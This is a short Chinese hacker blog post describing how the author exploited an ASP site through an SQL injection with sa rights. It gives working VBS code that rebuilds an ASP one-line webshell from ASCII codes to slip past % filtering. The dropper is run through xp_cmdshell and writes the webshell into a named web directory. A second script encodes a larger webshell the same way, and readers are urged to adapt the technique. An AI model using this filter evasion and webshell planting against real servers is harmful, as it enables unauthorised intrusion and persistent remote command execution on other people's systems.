来源:孤水绕城
今天和小猪一起搞站,asp脚本的一个sa权限的注入点,可是在echo一句话小马的时候出现了问题。%%以及里面的内容被过滤了。shell传不上去。ftp传不了,vbs下载也没有成功。不知道是%被过滤了,还是是被web防火墙拦截了。最后想了下,用vbs写了一个脚本。
脚本内容如下:
echo Dim str:str="60 37 69 120 101 99 117 116 101 71 108 111 98 97 108 32 114 101 113 117 101 115 116 40 34 49 34 41 37 62":>c:\孤水绕城.vbs echo Set fso=CreateObject("Scripting.FileSystemObject"):Set otfuser=fso.OpenTextFile("D:\Ittms-Web\common\images\shell.asp",2,true):For i = 0 To UBound(Split(str, Chr(32))):otfuser.write(Chr(Split(str, Chr(32))(i))):Next >>c:\孤水绕城.vbs
其中str为 <%ExecuteGlobal request("1")%>的asc码的形式。
传到服务器上,然后用xp——cmdshell执行cscript write.vbs结果成功的将一句话木马写入到了D:\Ittms-Web\common\images\目录中
然后我们再将大马转码一下然后赋值给str就行了,传到服务器中,直接运行就ok了。
转换成asc码的代码如下:
Set fso=CreateObject("Scripting.FileSystemObject"): Set otfuser=fso.OpenTextFile("shell.asp",1,false): Set savetext = fso.OpenTextFile("encode.txt",2,false): Dim retstr Dim readstr Do While otfuser.AtEndOfLine <> True readstr=otfuser.readline() retstr = retstr&Str2Asc(readstr)&Asc(vbcrlf)&" " Loop savetext.write Trim(retstr) Function Str2Asc(str)'sql的16进制转换函数 Dim s For i = 1 To Len(str) s = s & Asc(Mid(str,i,1))&Chr(32) NExt Str2Asc = s End Function
很简单的一个脚本,大家根据实际情况,活学活用吧。
|